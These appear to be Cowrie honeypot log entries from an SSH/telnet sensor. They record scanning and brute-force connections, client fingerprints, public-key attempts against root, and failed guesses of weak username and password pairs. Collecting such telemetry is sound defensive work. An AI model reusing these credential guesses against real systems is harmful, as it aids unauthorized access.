{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:60:95:04:1b:06:f6:0f:93:2d:57:a9:66:1b:0e:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLM+9x1pmeOWiZxbjSAkpheQxx9aLPkhUh7oLvDGPwwGsDm0hIOHstd22D6+KtGZd+WlnPmT55NNY/1vIKd5YPd5u4TgKfQ2ehEjVRfKjEvOe7JJNdV4iCNS+euV6Pvsqu3EnHAuN0ctbzxUNfmEcJzzADPUPpvEnLx8nWbKFrYAvV8DE0hqwujjXoUEomDCVbvwmXISABqdq8n+HxUaT58HAZqXXSrOAavBnatW9cexiqsjhJkcHkEGAIUtCwAi839yggp5B0W9rc8pZvg+I0RYGBrso0rv0oikh8V6f1S0X2K+SVvaqAjsnArbCXqKePGkjMzMn2ViyVD/W9E9tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:60:95:04:1b:06:f6:0f:93:2d:57:a9:66:1b:0e:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.071862Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:60:95:04:1b:06:f6:0f:93:2d:57:a9:66:1b:0e:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvLM+9x1pmeOWiZxbjSAkpheQxx9aLPkhUh7oLvDGPwwGsDm0hIOHstd22D6+KtGZd+WlnPmT55NNY/1vIKd5YPd5u4TgKfQ2ehEjVRfKjEvOe7JJNdV4iCNS+euV6Pvsqu3EnHAuN0ctbzxUNfmEcJzzADPUPpvEnLx8nWbKFrYAvV8DE0hqwujjXoUEomDCVbvwmXISABqdq8n+HxUaT58HAZqXXSrOAavBnatW9cexiqsjhJkcHkEGAIUtCwAi839yggp5B0W9rc8pZvg+I0RYGBrso0rv0oikh8V6f1S0X2K+SVvaqAjsnArbCXqKePGkjMzMn2ViyVD/W9E9tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.075465Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:4c:eb:15:ad:3f:46:f7:91:05:86:3c:98:96:17:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPMmXtBKSAjc9/7/pR/RK0VsXvYBRCtQIi2IbLPHwBSM+o8+D4otHXdoc6+bJ98BhVEVdShZuUWr0YYCghh1ZvYnhOQtGjuUo62Wu7Xvl6B1LY6foZ9PKUmjJDV+slwjL78e3/kq+62QvpnU2Hg3/JN4XjJqa9w5TKtxra3NW3lasaoY1vEzLg84pKUlf/HZp+z09PFwr7iNG4zS2GCPUN7ivQ52Jt5a4auv0ff9yoY4OXwmaosQfpgNGXIL4E1c0ry9eIA6DG0zk7BwyZn2rv/h8r+jgiChhFtYIG80+g1lpbKaArXLy3vbmoTWQb2vUP6kHSro+fXMK13pvhvyF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:4c:eb:15:ad:3f:46:f7:91:05:86:3c:98:96:17:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.223861Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:4c:eb:15:ad:3f:46:f7:91:05:86:3c:98:96:17:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPMmXtBKSAjc9/7/pR/RK0VsXvYBRCtQIi2IbLPHwBSM+o8+D4otHXdoc6+bJ98BhVEVdShZuUWr0YYCghh1ZvYnhOQtGjuUo62Wu7Xvl6B1LY6foZ9PKUmjJDV+slwjL78e3/kq+62QvpnU2Hg3/JN4XjJqa9w5TKtxra3NW3lasaoY1vEzLg84pKUlf/HZp+z09PFwr7iNG4zS2GCPUN7ivQ52Jt5a4auv0ff9yoY4OXwmaosQfpgNGXIL4E1c0ry9eIA6DG0zk7BwyZn2rv/h8r+jgiChhFtYIG80+g1lpbKaArXLy3vbmoTWQb2vUP6kHSro+fXMK13pvhvyF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.227563Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:0b:44:f0:e7:11:39:fe:64:76:62:c6:54:70:7d:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjyq/Cb04PYW54KZBO20SjC4UGZwV5Sw8lG+3jS9jNGO/UMuO3TebKX0p9q4g23JH3yq+BlMr4MLoFuzgxCLu3VqfdGapUZEgCOd5fv+uBOZUACVOAaZL+F/blEeVlWx64VuWPw23LyumrRzWc8Cztx5jJEexQnIF1x0Babv0KVbhyMl7NWx6q/49L8vVGIlVZEICqVeJqpEc7btWgYFJQWbw830FxKYWfYC60vg30NgoOqrwbIoykBXl2weK0oYt5fXAIZxQLbT82OBDWE+ULLFgGx0wbhWx0AcrZelZ/G9tU2BtXitdlbaDfVUghbOQ7faxXsDrN3HCvVEjyGzib","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:0b:44:f0:e7:11:39:fe:64:76:62:c6:54:70:7d:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.375977Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:0b:44:f0:e7:11:39:fe:64:76:62:c6:54:70:7d:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjyq/Cb04PYW54KZBO20SjC4UGZwV5Sw8lG+3jS9jNGO/UMuO3TebKX0p9q4g23JH3yq+BlMr4MLoFuzgxCLu3VqfdGapUZEgCOd5fv+uBOZUACVOAaZL+F/blEeVlWx64VuWPw23LyumrRzWc8Cztx5jJEexQnIF1x0Babv0KVbhyMl7NWx6q/49L8vVGIlVZEICqVeJqpEc7btWgYFJQWbw830FxKYWfYC60vg30NgoOqrwbIoykBXl2weK0oYt5fXAIZxQLbT82OBDWE+ULLFgGx0wbhWx0AcrZelZ/G9tU2BtXitdlbaDfVUghbOQ7faxXsDrN3HCvVEjyGzib","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.380098Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.527820Z","src_ip":"5.45.189.11","session":"508caa17ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.77","src_port":61316,"dst_ip":"10.17.0.5","dst_port":23,"session":"882a67d63ca4","protocol":"telnet","message":"New connection: 64.62.197.77:61316 (10.17.0.5:23) [session: 882a67d63ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.720365Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.726008Z","src_ip":"64.62.197.77","session":"882a67d63ca4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99  Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0.0; Win64; x64; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.63 Chrome/124.0.6367.63 Not-A.Brand/99  Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.730086Z","src_ip":"64.62.197.77","session":"882a67d63ca4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.734207Z","src_ip":"64.62.197.77","session":"882a67d63ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08682465553283691,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.807062Z","src_ip":"64.62.197.77","session":"882a67d63ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c9189800933","protocol":"telnet","message":"New connection: 152.42.224.71:39400 (10.17.0.5:23) [session: 4c9189800933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:44.832258Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60410,"dst_ip":"159.203.135.109","dst_port":22,"session":"810caeca5597","protocol":"ssh","message":"New connection: 45.156.87.204:60410 (159.203.135.109:22) [session: 810caeca5597]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:45.109955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:45.114778Z","src_ip":"45.156.87.204","session":"810caeca5597","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:45.197098Z","src_ip":"45.156.87.204","session":"810caeca5597","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"123456","message":"login attempt [nginx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:45.445791Z","src_ip":"45.156.87.204","session":"810caeca5597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:46.535640Z","src_ip":"45.156.87.204","session":"810caeca5597","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.097731590270996,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:47.488341Z","src_ip":"152.42.224.71","session":"858ff9f495b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60412,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ca2a6961321","protocol":"ssh","message":"New connection: 45.156.87.204:60412 (159.203.135.109:22) [session: 1ca2a6961321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:48.574010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:48.578979Z","src_ip":"45.156.87.204","session":"1ca2a6961321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:48.661124Z","src_ip":"45.156.87.204","session":"1ca2a6961321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.353735208511353,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:48.795410Z","src_ip":"152.42.224.71","session":"4a03e127d54b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:48.907071Z","src_ip":"45.156.87.204","session":"1ca2a6961321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:49.992256Z","src_ip":"45.156.87.204","session":"1ca2a6961321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39354,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38982a0cfec","protocol":"telnet","message":"New connection: 152.42.224.71:39354 (10.17.0.5:23) [session: b38982a0cfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:50.643984Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60418,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bfa186ea830","protocol":"ssh","message":"New connection: 45.156.87.204:60418 (159.203.135.109:22) [session: 1bfa186ea830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:52.296734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:52.333100Z","src_ip":"45.156.87.204","session":"1bfa186ea830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:52.402391Z","src_ip":"45.156.87.204","session":"1bfa186ea830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user1","message":"login attempt [user1/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:52.715137Z","src_ip":"45.156.87.204","session":"1bfa186ea830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:53.800830Z","src_ip":"45.156.87.204","session":"1bfa186ea830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":38534,"dst_ip":"10.17.0.5","dst_port":22,"session":"01593acec987","protocol":"ssh","message":"New connection: 80.66.85.226:38534 (10.17.0.5:22) [session: 01593acec987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.484087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.489298Z","src_ip":"80.66.85.226","session":"01593acec987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.579866Z","src_ip":"80.66.85.226","session":"01593acec987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"evgeniy","message":"login attempt [root/evgeniy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.850306Z","src_ip":"80.66.85.226","session":"01593acec987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51784,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad9cf320944b","protocol":"ssh","message":"New connection: 45.156.87.204:51784 (159.203.135.109:22) [session: ad9cf320944b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.869639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.875000Z","src_ip":"45.156.87.204","session":"ad9cf320944b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:55.962302Z","src_ip":"45.156.87.204","session":"ad9cf320944b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:56.210279Z","src_ip":"45.156.87.204","session":"ad9cf320944b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.77737879753113,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:56.300164Z","src_ip":"152.42.224.71","session":"802a9068e7c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:56.942760Z","src_ip":"80.66.85.226","session":"01593acec987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:57.296358Z","src_ip":"45.156.87.204","session":"ad9cf320944b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.2193603515625,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:58.964905Z","src_ip":"152.42.224.71","session":"f83def8ffcfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51806,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f9c27ba9538","protocol":"ssh","message":"New connection: 45.156.87.204:51806 (159.203.135.109:22) [session: 3f9c27ba9538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:31:59.359703Z"}
